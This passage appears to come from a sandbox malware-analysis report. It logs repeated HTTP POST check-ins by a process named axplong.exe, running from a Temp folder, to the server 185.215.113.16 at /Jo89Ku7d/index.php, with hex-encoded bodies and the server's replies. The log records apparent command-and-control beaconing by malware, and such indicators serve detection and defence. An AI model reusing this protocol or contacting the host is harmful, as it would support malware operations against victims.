Jul 26, 2024 10:36:29.018148899 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:29.283091068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:24.711534977 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:25.515054941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49724	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:29.450592995 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:30.229417086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:30.230401039 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:30.485805035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49725	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:30.609276056 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:31.407083035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:31.474792957 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:31.763808012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49726	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:32.084433079 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:32.719341993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:32.741381884 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:32.995867014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:25.524977922 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:26.304305077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49727	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:33.165128946 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:34.928795099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:34.929675102 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:35.181444883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49728	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:35.309453011 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:36.120749950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:36.127229929 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:36.379511118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49729	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:36.499150991 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:37.268436909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:37.269468069 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:37.536067009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:26.422744989 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:27.193489075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49730	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:37.669063091 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:38.416460037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:38.417506933 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:38.669457912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:27.205276966 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:28.009974003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49731	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:38.794291019 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:39.620048046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:39.621002913 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:39.876848936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49732	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:39.997090101 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:40.767673016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:40.768506050 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:41.029047966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49733	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:41.155287981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:41.896327972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:41.897897005 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:42.143825054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49734	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
